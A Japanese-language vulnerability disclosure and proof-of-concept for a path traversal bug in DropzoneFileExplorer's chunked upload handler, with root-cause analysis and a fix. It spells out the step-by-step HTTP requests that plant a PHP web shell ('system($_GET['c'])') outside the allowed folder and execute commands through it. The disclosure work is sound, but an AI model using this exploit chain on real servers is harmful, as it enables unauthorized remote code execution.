
CVE-2026-104826の概念実証エクスプロイトチェーン。DropzoneFileExplorerのチャンクアップロードハンドラにおけるパストラバーサル脆弱性で、リモートコード実行用のPHPウェブシェルを書き込む。
レジューマブル(チャンク)アップロードハンドラは、クライアントから供給された fileName を fopen() に至るまで信頼している。../../ を渡せば、許可されたフォルダの外、ストレージルートの外、ウェブルートの中へ書き込める。このアプリは PHP を配信するため、植え付けたファイルが実行される。
プロジェクト: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Class | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | デフォルトで認証あり、AUTH_ENABLE=false の場合は未認証 |
| CVSS v4.0 | 8.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Affected | v1.1 (コミット 68858e0 でテスト済み) |
| Fixed in | v1.2 |
| Credit | Kanarat Kaeothong (Axiom0x) |
重要な関数は 2 つある。uploadInit はリクエストボディから fileName を受け取り、trim() 以外の何もせずに保持する(inc/functions.php、L2080 付近):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
その後 uploadFinalize がそれを読み戻し、出力パスを組み立てる(inc/functions.php、L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() 自体は問題ない。realpath() を呼び出し、パスがユーザーのルート配下に留まることを確認する。問題は、そこに渡されるものにある。$destBaseAbs と $finalDirAbs はどちらも検証されているが、攻撃者の fileName を実際に含む $finalAbs は決して検証されない。fopen() は生の .../shared/../../app/shell.php 文字列を受け取り、OS が .. を畳み込んでくれる。
注目に値するのは、このコードベースの他のすべての書き込みパスは、合成されたパスを ensure_inside_allowed_roots() に通すか、名前を basename() で包むかのいずれかを行っていることだ。これだけはどちらもしていない。リファクタリングされた際に最終チェックが失われた箇所のように読める。
素の v1.1、デフォルト設定(AUTH_ENABLE=true)。アクターは通常ユーザー lowpriv で、その唯一のフォルダは shared である。
lowpriv としてログインする(ログインページから CSRF トークンを取得し、auth_action=login を POST する)。
サンドボックスが実際に機能することを確認する。他人のフォルダへ直接アップロードすることは拒否される:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
許可されたフォルダを使うが、fileName を汚染する:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
ペイロードを 1 つのチャンクとして送信する:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
ファイナライズする:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
レスポンスは app/pwned.php を報告する。アプリ自身が、shared の外、ストレージルートの外へ書き込んだと告げている。
実行する:
GET /pwned.php?c=id
-> uid=... (command output)
ローカルインスタンスに対する私自身の実行から:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
完全なチェーン(ログイン、CSRF、汚染、チャンク、ファイナライズ、実行)については poc/exploit.py を参照。
アップロードを許可された者は誰でも、ユーザーごとのフォルダルールが何と言おうと、PHP プロセスが書き込める場所ならどこへでもファイルを書き込める。ウェブルート内の .php ファイルは、Web ユーザーとしてのリモートコード実行である。AUTH_ENABLE=false の場合、ログイン手順はなく、そのまま未認証 RCE となる。
uploadFinalize において、fileName を開く前にベア名へ切り詰め、合成されたパスを再チェックする:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() だけでもトラバーサルは止まる。ensure_inside_allowed_roots($finalAbs) チェックを追加するのはベルト・アンド・サスペンダーズ版であり、コードの残りの部分が既に書き込みをガードしている方法と一致する。同じ対処は、$finalName が再計算される rename ポリシーブランチ(L2210 付近)にも必要である。メンテナはこれを v1.2 に取り込んだ。
協調的開示、公開前に修正済み。PoC は意図的にローカルテストインスタンスを対象としている。所有していないものに向けてはならない。